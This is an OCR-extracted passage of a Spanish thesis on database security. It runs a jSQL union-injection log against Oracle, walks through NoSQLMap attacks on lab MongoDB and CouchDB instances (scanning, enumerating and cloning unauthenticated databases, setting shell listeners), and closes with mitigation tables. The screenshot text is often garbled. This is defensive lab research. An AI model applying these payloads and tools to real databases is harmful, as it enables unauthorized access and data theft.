Figura 82. Resultado de ejecucion de jSQL Injection sobre Oracle

jSQAL Injection e 0 0

http://192.168.0.6:8080/apex/f1p=4950:6:4111644575903698::NO > |-

i Database | |7 Admin page | [ File 3

Mo database

Bl conscle | £ chunk [ Binary % Network -

[00:43:59,718] Read error http://192 168 0.6:8080/apex/f7p=4950:6: 4111644575983698: : NO+union+select+to_char(13371733
[00:43: 736] Read error http: //192 168 0. 6:8080/apex/f7p=4950:6:4111644575903698: - NO+union+select+tc
7971 Read error http: //192 168, 0.6: 8080/apex/f7p=4950:6: 41116445752036!
866] Read error http://192 168 0.6:8080,apex/f7p=4250:6: 41116445
92,168 0.6:8080/apex/f? 50: 6: 41116

92 168 0.6:8080/apex/f?

98::NO+union+select+t
::NO+union+select+te
c:MO+union+select+tc
NO+union+select+te
598: : NO+union+select+tc
NO+union+select+te
s:NO+union+select+tc
NO+union+selects+te
598: : NO+union+select+tc
NO+union+selects+te
598: : NO+union+select+te
NO+union+select+te

- NO+union+select+te
98: - NO+union+select+te
598 - NO+union+select+te
98::NO+union+select+te

::NO+union+select+te

[00:43:59,931] Read error http
[00:43:59,994] Read error http
[00:44:00,053] Read error http
[00:44-00,117] Read error http
[00:44:00,175] Read error http
[00-44-00,237] Read error http
[00:44:00,304] Read error http
[00-44-00,368] Read error http
[00:44:00,426] Read error http 9 .6:8080/apex/f7p=04950: 6: 41116

[00:44:00,488] Read error http //102 168 0.6: 8080/ apex/fIp=4050:6: 41116445
[00:44:00,556] Read error http://192 168 0.6: 8080/ apex/f7p=0950:6: 41116445

.6:8080/apex/f7p=04050: 6: 41116445
6:8080/apex/f7p=4050:6: 41116445

[00:44:00,611] Read error http://192 168 0.6:8080,/apex/f7p=04950:6: 41116
[00:44:00,675] Read error http: //192 168 0.6: 8080/ apex/f7p=4050:6: 41116
[00:44:00,745] Read error http://192.168. 0.6:8080/apex/f7p=4950:6: 41116445
[00:44:00,813] Read error http 92 168 0.6:8080/apex/f7p=4950:6: 41116445
[00:44:00,882] Read error http 92,168 0.6:8080/apex/f?p=40950:6: 4111644575903698: : NO+union+select+te
[00:44-00,946] Read error http //192 168 0 6:BO80/apex/f?p=4950:-6- 4111644575903698 - NO+union+select+te
[00: 44:
http: //
[00:44:01,079] Read error

http: //192 168 @ 6: 8080/apex/f7p=4950: 6 4111644575903698 - NO+union+select+to_char(133717330%2b1), to_char(133727330%2]
[00:44:01,079] Injection failed

019] Read error
168 6 6 B0B0/apex/f?p=4950 6 4111644575903698 - NO+union+select+to_char(133717330%2b1),to_char(133727330%2

Oracle |~ | - @ TimeBased
Current db - @ Blind
Current user - @ ErrorBased
Authenticated user - @ Normal

Fuente: el autor.

6.3ENTORNO DE PRUEBA BASE DE DATOS NOSQL MONGODB

Mongodb es una base de datos &gil que permite a los esquemas cambiar
rapidamente cuando las aplicaciones evolucionan, proporcionando siempre la
funcionalidad que los desarrolladores esperan de las bases de datos tradicionales,
tales como indices secundarios, un lenguaje completo de basquedas y consistencia
estricta, ha sido creado para brindar escalabilidad, rendimiento y gran
disponibilidad, escalando de una implantacibn de servidor Unico a grandes
arquitecturas complejas de centros multidatos. MongoDB brinda un elevado
rendimiento, tanto para lectura como para escritura, potenciando la computacién en
memoria (in-memory). La replicacion nativa de MongoDB vy la tolerancia a fallos
automatica ofrece fiabilidad a nivel empresarial y flexibilidad operativa.
(https:/lwww.mongodb.com/es).

MongoDB es un motor de base de datos NoSQL de codigo abierto, escrito en C++,
se encuentra orientado al almacenamiento de documentos y es multiplataforma.
Algunas empresas que usan esta base de datos son CISCO, MTV, The New York
Times, Forbes, entre otras.
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Se descargd la dultima version para Windows de la pagina oficial
https://www.mongodb.com/download-center?jmp=nav#community como se indica
en la figura 83.

Figura 83. Descarga mongodb de pagina oficial

- c'e panragE . w8

Fuente: el autor

El asistente de instalacion guia el proceso, una vez finaliza se crea en disco ¢ una
carpeta llamada data con dos subcarpetas llamadas db y log respectivamente, son
fundamentales para guardar las bases de datos y los eventos que ocurren en
mongodb, como se muestra en la figura 84.

Figura 84. Carpetas para base de datos mongodb

Disco local (C) » data

Mambre

. db
| log

Fuente: el autor

Se ingresa a los archivos de instalacion en el disco ¢ que por lo general tendra la
siguiente ruta C:\Program Files\MongoDB\Server\3.4\bin, para ejecutar mongo.exe
y mongod.exe, se ingresa por consola y se ejecutan el archivo mongo.exe como lo
indica la figura 85 iniciando mongo version 3.4.4 conectando de manera local por el
puerto 27017, se puede apreciar las bases de datos por defecto admin y local, sin
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embargo en estas bases no hay nada, es necesario crear las bases de datos e
ingresar las colecciones de datos que se necesiten dependiendo la necesidad o
proyecto a implementar y sobre todo implementar la autenticacion porque mongodb
no tiene opciones de seguridad cuando se instala.

Figura 85. Ejecucion mongodb

X Ch\Windows\system32\cmd.exe - mongo.exe

I

:»Program Files“MongoDB“Servers3.4~hin*mongo.exe
ongoDB zhell version v3i.4.4
onnecting to: mongodbh:- ~127.8.08.1:27817
ongoDB server version: 3.4.4
Jelcome to the MongoDB shell.
For interactive help, type “"help"™.
For more comprehensive documentation, see
http:/sdocs.mongodh.org”
Questions? Try the support group
http://groups.google.com/group/mongodh—user
Lerver has startup warnings:
2017-A4-29TA1 :55:A5_482-A5AA I CONTROL [initandlisten]
2A17-84-29TA1 :55:85 . 482-A5AA I CONTROL [initandlisten] =% WARNING: Access contr
ol iz not enahled for the database.
2@17-84-29TA1 :55:85.483-A5%AA I CONTROL [initandlisten] == Read and wri
e access to data and configuration is unrestricted.
2017-A4-29THA1 :55:85 _484-A5AA I CONTROL [dinitandlisten]
» zshow dbs
dmin ©.ABAGBE

Fuente: el autor

Una forma de realizar la administracion de mongodb es a través del Shell o linea de
comandos, o también se tienen varias opciones de interfaz grafica. En este caso se
utiliz6 Robomongo que es una herramienta multiplataforma con la que se puede
administrar graficamente las bases de datos creadas en mongo como se muestra
en la figura 86.

Figura 86. Ejecucion mongodb

Fuente: el autor.
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Se instala Robomongo, se ejecuta la aplicacion se crea una conexion nueva y se
realiza una prueba de conexion como se muestra en la figura 87 la conexion correcta
con la base de datos.

Figura 87. Conectado a la base de datos

| = Connection Settings |

Connection Authentication SSH SS5L Advanced

Type: Direct Connection 57

=] Diagnostic H

Mame: ConeccionMongodb

Choose any connect
) connected to localhost:27017

o Access to databases is available

Address: |localhost 27017

Specify host and po main name.

Close

o Test Save Cancel

Fuente: el autor.
En la figura 88 se muestra el acceso a Robomongo donde se puede apreciar las
bases de datos admin y local, pero al desplegar las opciones de exploracion esta

completamente vacia.

Figura 88. Base de datos detectada y conectada con Robomongo

= Rosmmengn 19 - o
e Www  Optienr  Wieces  Heip
o -
= [ Coresiznbierged i ryr—
& S -

i Colactioe T Weleome to Robamonge 1.0 Blog Posts

a L]

awern o D EEEEREE R e 4 —ctini
Fendlicra T

Fuente: el autor
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En la instalacion de mongodb no se tiene predeterminado ningun usuario ni aplicado
ningun rol con privilegios, esta tarea debe ser realizada antes de iniciar a
implementar un proyecto. En la figura 89 se utilizO nmap para penetrar filtrando los
puertos por defecto detectando el servicio activo.

Figura 89. Prueba de escaneo a mongodb con nmap

root@kali: ~ e 0 0

Archivo Editar Ver Buscar Terminal Ayuda
:~# nmap -n -sS -sV 192.168.0.5 -p 27017,28617

Starting Nmap 7.25BETAl ( https://nmap.org ) at 2017-04-28 11:38 COT
Nmap scan report for 192.168.0.5

Host is up (0.0854s latency).

PORT STATE SERVICE VERSION

27017/tcp filtered mongod

28017/tcp filtered mongod

MAC Address: 00:24:D2:92:64:90 (Askey Computer)

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.88 seconds

= |

Fuente: el autor

6.3.1 Inyeccion NoSQL utilizando = NoSQLMap. Se ingresa a
https://github.com/tcstool/nosgimap y se descarga el paquete de instalacion, se
ejecuta la instalacién con el comando python setup.py install como se muestra en la
figura 90.

Figura 90. Instalando NoSQLMap

rectfikall: ~/Escritariofnosgimap [~ - ]

Archive Edtar Ver Buscar Termmal Ayuda
i in/nosqglmapk python setup.py install

Sbdist.
p nosEGG - TNFD
ru i | ts

Fuente: el autor.
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Una vez instalado NoSQLMap se puede ejecutar mediante el comando nosglmap.py
y ejecutara la ventana con las opciones para realizar la inyeccion NoSQL sobre
bases de datos NoSql en este caso hacia mongodb. En la figura 91 se muestra la
pantalla principal de Kali con la herramienta activa de NoSQLMap.

Figura 91. Inyecciéon NoSQL con NoSQLMap a MONGODB

roat@kali; ~ IO -]

Archive  Editar Ver Buescar  Terminal  Ayuda

option: i

Fuente: el autor.

Para el primer ataque se selecciona la opcién 4 para escanear la maquina a atacar,
se puede escanear toda la red, para el ejercicio se coloca Unicamente la ip de la
victima como se muestra en la figura 92 alli se observa como resultado que
encuentra la maquina con mongodb y la version que para este caso es la 3.4.4.

Figura 92. Descubriendo la base de datos MongoDB

root@kali: ~ Qo e Q
Archivo Editar Ver Buscar Terminal Ayuda
Select an option: 4

MongoDB Default Access Scanner

1-Scan a subnet for default MongoDB access

2-Loads IPs to scan from a file

3-Enable/disable host pings before attempting connection
x-Return to main menu

Select an option: 1

Enter subnet to scan: 192.168.0.5/32

Successful default access on 192.168.0.5(MongoDB Version:

Save scan results to CSV? (y/n):n
Discovered MongoDB Servers with No Auth:
IP Version

1-192.168.0.5 3.4.4

Select a NoSQLMap target or press x to exit: |
Fuente: el autor.
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Luego se retorna a las opciones y se configura la ip de la maquina a atacar y la ip
del atacante y puerto por defecto que puede ser el 4444, como se muestra en la
figura 93.

Figura 93. Configuracion IP y puerto

root@kali: ~ e ® O
Archivo Editar Ver Buscar Terminal Ayuda
x-Back to main menu
Select an option: 8
Enter TCP listener for shells: 4444
Shell TCP listener set to 4444

Options
1-Set target host/IP (Current: 192.168.0.5)

Set web app port (Current: 80)
3-Set App Path (Current: Not Set)
4-Toggle HTTPS (Current: OFF)

Set MongoDB Port (Current : 270817)
6-Set HTTP Request Method (GET/POST) (Current: GET)
> y local MongoDB/Shell IP (Current: 192.168.0.4)
8-Set shell listener port (Current: 4444)
9-Togg Verbose Mode: (Current: OFF)
O-Load options file
a-Load options from saved Burp request
-Save options file
-Set headers
x-Back to main menu
Select an option: i

Fuente: el autor.

2
3
- |
5
7
b
h

Una vez configurada la maquina a atacar se ejecuta el ataque de inyeccion con la
opcién 2 y se observan los resultados, como que pudo ingresar sin credenciales y
las posibles opciones de ataque. En la figura 94 se muestra con la opcion 2 se
pueden observar las bases de datos en mongodb.

Figura 94. Bases de datos encontradas con NoSQLMap

root@kali: ~ e ® O
Archivo Editar Ver Buscar Terminal Ayuda
1-Get Server Version and
5

imerate Databases/Col
for GridFS

L1st of databases
admin

collections

Fuente: el autor.
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Con la opcion 4 se puede clonar las bases de datos de mongodb como se muestra
en la figura 95.

Figura 95. Clonacion de base de datos

root@kali: ~ e ®© 0

Archivo Editar Ver Buscar Terminal Ayuda
5-Launch Metasploit Exploit for Mongo < 2.2.4
6-Return to Main Menu

Select an attack: 4

1-admin
2-local

3-unad

Select a database to steal: 3

Does this database require credentials (y/n)? n

Something went wrong. Are you sure your MongoDB is running and options are set?
Press enter to return...

Fuente: el autor

6.4 ENTORNO DE PRUEBA BASE DE DATOS NOSQL COUCHDB

CouchDB es una herramienta de gestion de bases de datos no relacionales de
codigo abierto. Una de las principales caracteristicas de este gestor de bases de
datos es la busqueda de facilitar las actividades de la programacion y
administracion, garantizando funciones adecuadas para el desarrollo de paginas
WEB completas.

Ademas de la anterior caracteristica, apache couchDB también es muy préactico a la
hora de gestionar errores dentro del desarrollo; si se llegase a presentar un error en
una consulta, couchDB no detiene totalmente el servidor, se centra en el problema
como tal y la misma herramienta brinda apoyo para resolucion de dicho
inconveniente. La herramienta presenta algunas restricciones en la programacion
frente a la escalabilidad de un sistema, esto esta pensado para que una vez se
presente un evento de este tipo, se haga de manera correcta evitando futuros
inconvenientes para el programador.

Se descarga instalador desde pagina oficial http://couchdb.apache.org/ para el
entorno de prueba se escogio la version de Windows 64 como se muestra en la
figura 96.
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http://couchdb.apache.org/

Figura 96. Descarga de apache CouchDB desde la pagina oficial

@ Apache CouchDB x e - X
<« C | ® couchdb.apache.org B0 ¥
i Aplicaciones SolarWinds Orion EscuelalCBF  § Biblioteca Digital Mu 23 14 diplomados de G [ BUAP-FCC:Cursolec ©A LABERINTO [ .:ICBF - Proveedores [ . ICBF - SIGEPCYP : Neuronilla »
— 1
'_. COU Ch D B About  Docs Contribute News Download More...
relax

- Seamless multi-master sync, that
scales from Big Data to Mobile,

< with an Intuitive HTTP/JSON API

and designed for Reliability.
DOWNLOAD

210 (2017-08-07)

Fuente: el autor

Se inicia el asistente de la instalacién aceptando los términos de licencia, hasta
llegar a la ruta de creacién de Couchdb que se deja por defecto en el disco C como
se muestra en la figura 97.

Figura 97. Inicio de instalacion de CouchDB

#5 Apache CouchDB Setup — >

Il Destination Folder
Click Mext to install to the default folder ar dick Change to choose another.

CouchDB

Install Apache CouchDE to:

IC:\,Cnud'uDB‘n,

Change...

Fuente: el autor
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Después de la instalacion, para ingresar al modulo de administracion de las
utiidades de Couchdb, se ingresa desde un navegador a la ruta
http://localhost:5984/ utils/ como se indica en la figura 98.

Figura 98. Modulo de administracion de couchDB

i Apache CouchDB X Project Fauxton x
&« C | @ localhost:5984/_utils/#/verifyinstall
=2 Aplicaciones |3 SolarWinds Orion Escuela ICBF  § Biblioteca Digital Mu #1114 diplomadosde G- [ BUAP-FCC: Cursolec.  ©A LABERINTO

Verify CouchDB Installation

Verify Installation

Setup

Test Status
Active Tasks

Create Database v
Configuration Create Document v
e Update Document v

Delete Document v
Documentation

Create View v

0 Verify Replication v

8 Admin Party!

Fuente: el autor

En el menu de opciones se ingresa al setup y se selecciona nodo simple para la
creacion de la base de datos asi como se indica en la figura 99.

Figura 99. Area de setup de couchDB

&« C | @ localhost:5984/_utils/#/setup

25 Aplicaciones SolarWinds Crion Escusla ICBF  § Biblioteca Digital Mu  ®®) 14 diplomadosde G- [ BUAP-FCC: Curso lec:  OA LAB

Setup Apache CouchDB

Databases

Welcome to Apache CouchDB!

Setu|
¥ This wizard should be run directly on the node, rather than through a load-balancer.

Active Tasks You can configure a single node, or a multi-node CouchDB installation.
Replication

Documentation

@ verty

8 Admin Party!
Fuente: el autor
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http://localhost:5984/_utils/

Seguidamente se configura el usuario, contrasefia, direccién ip y puerto para
comunicacién de la base de datos, figura 100.

Figura 100. Configuracion de nodo simple para couchDB

&« C | @ localhost:5984/_utils/#setup/singlenade

225 Aplicaciones SolarWinds Orion [i] Escuela ICBF  § Biblioteca Digital Mu  ®®) 14 diplomadosde G [ |

Setup Apache CouchDB

Databases
Create Admin credentials.
Setup
admin -----
Active Tasks
£¥ Configuration Bind address the node will listen on
B Replication 0.0.0.0]

Documentation

@ verty

8 Admin Party!

Port that the node will use

5984

& Configure Node

Fuente: el autor

Una vez configurado el nodo se crea la base de datos la cual se llamé pruebacouch,
como se muestra en la figura 101.

Figura 101. Creacién de base de datos de prueba

<« C | @ localhost:5984/_utils/#database/pruebacouchdb/_all_docs?limit=100 T G o
i Aplicaciones Solariinds Orion Escuela ICBF  §  Biblioteca Digital Mu %) 14 diplomados de G- [} BUAP-FCC: Cursolec  OA LABERINTO [3 :ICBF - Proveedores [J :ICBF -SIGEPCYP: = Meuronilla »
€ pruebacouchdb i v oo | 1 A
Databases All Documents
© Create Document
Setup Run A Query with Mango
. Permissions
Active Tasks
Changes
£+ Configuration
Design Documents [+)

Ay Replication

Documentation

@ Verity

8 Your Account

No Documents Found

Fuente: el autor
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Se crea el documento para la base de datos pruebacouchdb, haciendo clic
en el botdn y generando el documento con estructura JSON como se muestra en
figura 102.

Figura 102. Creacion de nuevo documento en CouchDB

&« C | © localhost:5984/_utils/#/database/pruebacouchdb/new

: Aplicaciones [ SolarWinds Orion [g]] Escuela ICBF  §  Biblioteca Digital Mu  #2) 14 diplomados de G

pruebacouchdb » New Document

@ Create Document [ez=hles]

" _id":

Databases

Setup

"nombre”:

Active Tasks
“correoe”:
- "celular™:
Configuration cesutar
"direccion™:{
"numero” :

"ciudad”:

Replication

"departamento” :

Documentation

Verify

Your Account
Fuente: el autor

Una vez creado el documento apacheCouchDb muestra el id, la clave y el nUmero
de revisién del documento como se muestra en la figura 103.

Figura 103. Verificacion de nuevo documento creado

&« C | @ localhost:5984/ _utils/#/database/pruebacouchdb/_all_docs LT 4

iones |4 SolarWinds Orion Escuela ICBF  § Biblioteca Digital Mu #%) 14 diplomados de G- [9 BUAP-FCC: Cursolec: ©A LABERINTO [ :ICBF - Proveedores [ :ICBF - SIGEPCYP - Meuronilla »

- € pruebacouchdb i v g@optons | ( A
€ Databases
=] A PEEIETE ° & Table {3 JsON
/~ Setup Run A Query with Mango
id key value
- Permissions
== Aclive Tasks
B 21d29259a9bef367d2475c5al . 21d29259a9bef367d2475c5al. .. { "rev': "1-da9ec35a887dc6I7 .

Changes
£+ Configuration

Design Documents [+]

aa

Fuente: el autor
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Teniendo ya instalada la herramienta de inyeccion NoSQLMap en Kali Linux, se
ejecuta mediante el comando nosglmap.py. una vez inicie NoSQLMap se visualiza
la ventana con las opciones para realizar las pruebas de penetracion sobre bases
de datos NoSql, en este caso dirigido a CouchDB. En la figura 104 se muestra la
pantalla principal de Kali Linux con la herramienta activa de NoSQLMap.

Figura 104. Inyeccion NoSQL con NoSQLMap a COUCHDB

root@kali: ~
Archivo Editar Ver Buscar Terminal Ayuda X

-Set options

-NoSQL DB Access Attacks

-NoSQL Web App attacks

-Scan for Anonymous CouchDB Access
-Change Platform (Current: CouchDB)
-Exit

Fuente: el autor

Previo al inicio del ataque se selecciona la opcién 4 para escanear la maquina a
atacar, para el presente se registra la ip de la victima como se muestra en la figura
105 en el cual se puede observar como resultado la identificacion de la maquina en
donde apache CouchDB se encuentra instalado y su version correspondiente.

Figura 105. Escaneo de maquina con la base de datos

-Set options

-NoSQL DB Access Attacks

-NoSQL Web App attacks

-Scan for Anonymous CouchDB Access
-Change Platform (Current: CouchDB)
-Exit

elect an option: 4

1-Scan a subnet for default CouchDB access

2-Loads IPs to scan from a file

3-Enable/disable host pings before attempting connection
x-Return to main menu

Select an option: 1
Enter subnet to scan: 172.16.25.143

Successful default access on 172.16.25.143(CouchDB Version: 2.1.0).

Save scan results to CSV? (y/n):n
Discovered CouchDB Servers with No Auth:
IP Version

1-172.16.25.143 2.1.0

Fuente: el autor
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Luego se retorna a las opciones y se configura en la opcion 1 “Set target host/IP”
como se muestra en la figura 106.

Figura 106. Opciones sin configuracion

r

root@kali: ~

Archivo Editar Ver Buscar Terminal Ayuda

Options

1-Set target host/IP (Current: Not Set)

-Set web app port (Current: 80)

-Set App Path (Current: Not Set)

-Toggle HTTPS (Current: OFF)

-Set CouchDB Port (Current : 5984)

-Set HTTP Request Method (GET/POST) (Current: GET)
-Set my local CouchDB/Shell IP (Current: Not Set)
-Set shell listener port (Current: Not Set)
-Toggle Verbose Mode: (Current: OFF)

-Load options file

-Load options from saved Burp request

-Save options file

-Set headers

-Back to main menu

Select an option: 8

Enter TCP listener for shells: 5984

Shell TCP listener set to 5984

Fuente: el autor

74
3
4
5
6
7
8
9
0
a
b
h

x

Al configurar la ip de la maquina a atacar y la ip del atacante y puerto por defecto
gue puede ser el 5984, esta listo para realizar el ataque como se indica en la figura
107.

Figura 107. Opciones luego de la configuracion (atacante, victima, puerto)

Options

1-Set target host/IP (Current: 172.16.25.80)

2-Set web app port (Current: 80)

3-Set App Path (Current: Not Set)

4-Toggle HTTPS (Current: OFF)

5-Set CouchDB Port (Current : 5984)

6-Set HTTP Request Method (GET/POST) (Current: GET)
7-Set my local CouchDB/Shell IP (Current: 172.16.25.143)
8-Set shell listener port (Current: 5984)

9-Toggle Verbose Mode: (Current: OFF)

0-Load options file

a-Load options from saved Burp request

b-Save options file

h-Set headers

x-Back to main menu

Select an option: Jj

Fuente: el autor
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Luego de la configuracion con la opcion “X” se regresa al menu de principal de
opciones y se realiza el ataque con opcion 2

En el ejercicio con apache CouchDB se pudo evidenciar que el gestor de base de
datos cuenta con mayor seguridad frente a la infiltracion evadiendo el proceso de
autenticacion. Lo anterior se evidencia en las figuras 108 mostrando mensaje de
error al intentar obtener el listado de base de datos de CouchDB.

Figura 108. Resultado de ejecucion de ataque

root@Kkali: ~ e ® O

Richivo Editar Ver Buscar Terminal Ayuda

5-Change Platform (Current: CouchDB)
-Exit

Select an option: 2

DB Access attacks (CouchDB)

hecking to see if credentials are needed...
Access check failure. Testing will continue but will be unreliable.
ISofa web management closed or requires authentication.

1-Get Server Version and Platform
2-Enumerate Databases/Users/Password Hashes
3-Check for Attachments (still under development)
4-Clone a Database

-Return to Main Menu
Select an attack: 2

Error: Couldn't list databases. The provided credentials may not have rights

Fuente: el autor
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Se intentd otro ataque con la herramienta NoSqglMap y fue el de clonar la base de
datos, contrario a MongoDB que dej6 clonar la base de datos, en la figura 109 se
muestran los errores de intento de ingreso a los paquetes de archivos de CouchDB.

Figura 109. Resultado clonacion de base de datos

root@kali: ~ @ ®@ 0

Archivo Editar Ver Buscar Terminal Ayuda

1-Get Server Version and Platform

2-Enfimerate Databases/Users/Password Hashes
3-Check for Attachments (still under development)
4-Clone a Database

5-Return to Main Menu

Select an attack: 4

Traceback (most recent call last):
File "/usr/local/bin/nosqlmap.py"”, line 4, in <module>
__import_ ('pkg resources').run script('NoSQLMap==0.7"', 'nosqlmap.py')
File "/usr/lib/python2.7/dist-packages/pkg resources/ init .py", line 719
, in run_script
self.require(requires)[0].run script(script name, ns)
File "/usr/lib/python2.7/dist-packages/pkg resources/ init .py", line 151
2, in run_script
exec(script code, namespace, namespace)
File "/usr/local/lib/python2.7/dist-packages/NoSQLMap-0.7-py2.7.egg/EGG-INF
0/scripts/nosqlmap.py"”, line 457, in <module>

File "/usr/local/lib/python2.7/dist-packages/NoSQLMap-0.7-py2.7.egg/EGG-INF
0/scripts/nosqlmap.py”, line 41, in main

File "/usr/local/lib/python2.7/dist-packages/NoSQLMap-0.7-py2.7.eqgqg/EGG-INF
0/scripts/nosqlmap.py"”, line 83, in mainMenu

File "/usr/local/lib/python2.7/dist-packages/NoSQLMap-0.7-py2.7.egg/EGG-INF
0/scripts/nsmcouch.py”, line 142, in netAttacks

File "/usr/local/lib/python2.7/dist-packages/NoSQLMap-0.7-py2.7.egg/EGG-INF
0/scripts/nsmcouch.py”, line 221, in stealDBs

File "build/bdist.linux-i686/egg/couchdb/client.py”, line 100, in iter
File "build/bdist.linux-i686/egg/couchdb/http.py", line 510, in get json

Cene s

Fuente: el autor

102



7 RESULTADOS

Se identificaron algunos de los principales ataques (fuerza bruta para romper
contrasefias, sniffing, spoofing, inyeccion SQL, inyeccidén nosql) que ocurren en las
bases de datos mediante la utilizacion de software que puede ser desarrollado y/o
descargado de diversas fuentes y que a medida que la tecnologia ha avanzado a
través del tiempo los atacantes mejoran sus niveles de ataque. De igual manera se
identificaron y probaron algunas de las herramientas de la suite de Kali Linux que
permitieron el andlisis de vulnerabilidades a las bases de datos, asi como otras que
permiten realizar una evaluacion de los controles implementados con el fin de
comprobar puntos criticos que deben ser protegidos para garantizar la seguridad en
las bases de datos. Por otra parte, se logro establecer los mecanismos y actividades
gue convienen ser adoptados por las organizaciones para proporcionar los
lineamientos, soporte, componentes y metodologias para la proteccion de los
sistemas informéticos de nivel critico para la operacion misional especial lo
relacionado con bases de datos SQL y NOSQL.

En la siguiente tabla se muestra el resumen de las vulnerabilidades encontradas
para los motores de bases de datos SQL y los motores de bases de datos NoSQL.

Tabla 2. Resultados vulnerabilidades SQL y NoSQL

DBMS Vulnerabilidad

Inyeccion SQL

Sin uso de Cabecera X-Frame-Options, permite la
exploracion de Directorios, Sin manejo de declaracion de
errores, permite manipulacion de Parametros

Sin uso de filtro Cabecera X-XSS-Protection para evitar
ataques XSS en IE y Chrome, autocompletado del
formulario activado, sin uso de Cabecera X-Content-Type-
Options para evitar problemas de Seguridad, permite la
inclusién de secuencias de comandos entre sitios (XSSI),
las Cookies sin el conjunto de banderas HttpOnly

Inyeccion SQL

Sin uso de la Cabecera X-Frame-Options, permite la
manipulacion de parametro, sin manejo de la declaracion de
errores

Sin filtro de la Cabecera X-XSS-Protection para evitar
ataques XSS en IE y Chrome, sin uso de la Cabecera X-

MYSQL

ORACLE
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DBMS

Vulnerabilidad

Content-Type-Options para evitar problemas de Seguridad,
las Cookies sin el conjunto de banderas HttpOnly

Inyecciéon NoSQL, Sin asignacion de usuario, sin rol y sin

MONGODB | privilegios, extraccion de datos con facilidad.
Puerto abierto permite escaneo por red
Ninguna
COUCHDB | No se permite Inyeccion NoSQL, restricciones de acceso al

puerto, configuraciones de usuario y privilegios.

Fuente: El autor.

7.1

MECANISMOS O TECNICAS DE PROTECCION PARA EVITAR LOS

ATAQUES A BASES DE DATOS SQL Y NOSQL

Las fallas de inyeccion como SQL, OS, y LDAP, NOSQL ocurren cuando datos no
confiables son enviados a un intérprete como parte de un comando o consulta. Los
datos del atacante pueden engafiar al intérprete en ejecutar comandos no
intencionados o acceder datos no autorizados®.

7.1.1. MySQL. En la siguiente tabla se muestra el resumen de los resultados de las
inyecciones SQL encontradas y otras vulnerabilidades en MYSQL y las medidas
preventivas para evitarlo o para hacer del proceso de transacciones a una base de
datos con menos probabilidades de explotar una vulnerabilidad.

Tabla 3. Mecanismos para evitar la Inyeccion SQL en MYSQL

Vulnerabilidad

Descripcion

Mecanismo/Actividad

ZAP'OR '1'="1"

Los resultados de la
pagina se manipularon
con éxito utilizando las
condiciones booleanas
que permiten recuperar
datos de la base de
datos.

comprobar todos los datos de
entrada en el servidor.

Si la aplicacién usa JDBC, usar
PreparedStatement o]
CallableStatement, con parametros
pasados por '?'

Si la aplicacién utiliza ASP, usar
ADO Command Objects con una

6 https://www.owasp.org/images/5/5f/OWASP_Top_10_- 2013 Final_-_Espa%C3%B1ol.pdf
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Vulnerabilidad

Descripcion

Mecanismo/Actividad

fuerte comprobacion de tipos de
consultas y parametros.

Si la Base de Datos permite
Procedimientos Almacenados,
usarlos.

NO concatenar cadenas en las
consultas en el procedimiento
almacenado, o utilizar ‘exec’, ‘exec
immediate’, o su funcionalidad
equivalente.

No crear consultas SQL dinamicas
usando una sencilla concatenacion
de cadenas.

Aplicar una lista blanca de
caracteres permitidos, o una lista
negra de caracteres no permitidos
en la entrada del usuario.

Aplicar el privilegio minimo posible
al usuario de la base de datos de
los privilegios usados.

En particular evitar el uso de los
usuarios de base de datos 'root' o
‘db-owner’. Esto no elimina la
inyeccion SQL, pero minimiza su
impacto.

Conceder el minimo acceso de
base de datos que es necesario
para la aplicacién.

$result =

mysql_query("s
elect * from

Este cddigo puede ser
facilmente  vulnerable
porque directamente

Transferir a PHP y MySQL la tarea
de verificar la sentencia SQL. Se
hace uso del método prepare de la
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Vulnerabilidad

Descripcion

Mecanismo/Actividad

usuarios where
nick_usuario='$
nickN™);

agrega el valor de la
variable ‘nick’ a la
sentencia SQL. Esto
permitird a un atacante
agregar lo que desee y
comprometer los datos.

clase PDO (marcadores de
posicion) para  preparar la
sentencia y de execute para
ejecutarla.

$result = $db->prepare(select *
from usuarios where nick_usuario=
‘nick’);

/l Indicando los datos
$result->execute(array(':nick’
$clean['nick?));

=>

Funciones
mysqgl_*
(mysql_connect,
mysql_query

Se estan utilizando
funciones que se
consideran inseguras,
no esta recomendado su
uso, se consideran
obsoletas y se han
eliminado de PHP 5.6 en

adelante

Usar método SQLi que tiene dos
interfaces: una procedural y otra
orientada a objetos. La interfaz
procedural es muy parecida a
mysql_*, la orientada objetos ofrece
una mejor alternativa al aplicar el
ocultamiento de los datos.

Autocompletado

Esta caracteristica

Inhabilitar el método autocompletar

en los | puede ser un problema | en el formulario.
formularios de privacidad para los | <form method="post"
activo usuarios, algunos | action="/form" autocomplete="off">
navegadores permiten a | [...]
los usuarios | </form>
inhabilitarlas, sin
embargo, estos estan
usualmente habilitados
por defecto.
Privilegios  de | En la base de datos se | A nivel de base de datos controlar
usuario no | crean los usuarios y se | los privilegios de los usuarios
controlado deja por defecto todos | creados y restringir al maximo los
los privilegios sobre el | permisos sobre los objetos de la
esquema de MYSQL. base de datos.
Cabecera X- | La cabecera X-Frame- | Teniendo en cuenta que el servidor
Frame-Options | Options puede  ser | es Apache, se puede usar el fichero
sin activar abierta en un frame, o
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Vulnerabilidad Descripcion Mecanismo/Actividad
iframe. De esta forma se | .htaccess, agregando el siguiente
pueden efectuar | cédigo:

ataques de clickjacking
sobre el sitio web.

Header always append X-Frame-
Options SAMEORIGIN

Otra opcion seria especificar
siempre en enmarcado denegado,
0 que solo pueda ser enmarcada
desde el mismo origen (SAME-
ORIGIN).

Estos son los valores que acepta:
DENY: La péagina no podra ser
mostrada en un frame/iframe.
SAMEORIGIN: Solo podra ser
mostrada en un framel/iframe desde
su propio dominio.

ALLOW-FROM uri: Solo podra ser
mostrada en un framel/iframe desde
las url’s indicadas.

Cabecera X-
XSS-Protection
no esta activada

La cabecera X-XSS-
Protection no se esta
utilizando, no tiene
activo el filtro XSS, el
cual puede ser
aprovechado para

realizar ataques XSS

Una forma de agregar esta
cabecera seria adicionando unas
lineas de cddigo a los archivos de
funciones php del tema que se esté
usando. Este archivo se puede
ubicar en la ruta  wp-
content/themes/NOMBRE_TEMA,
en donde NOMBRE_TEMA es el
nombre del tema que se encuentre
activado.

add_action('send_headers',
‘add_header_xxssprotection');
function
add_header_xxssprotection() {
header('X-XSS-Protection:
1;mode=block" );
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Vulnerabilidad

Descripcion

Mecanismo/Actividad

}

Este codigo genera la siguiente
cabecera de respuesta:

X-XSS-Protection: 1; mode=Dblock

Otra posibilidad para habilitar la
cabecera en un servidor web como

Apache, seria agregando el
siguiente cddigo en el fichero
.htaccess:

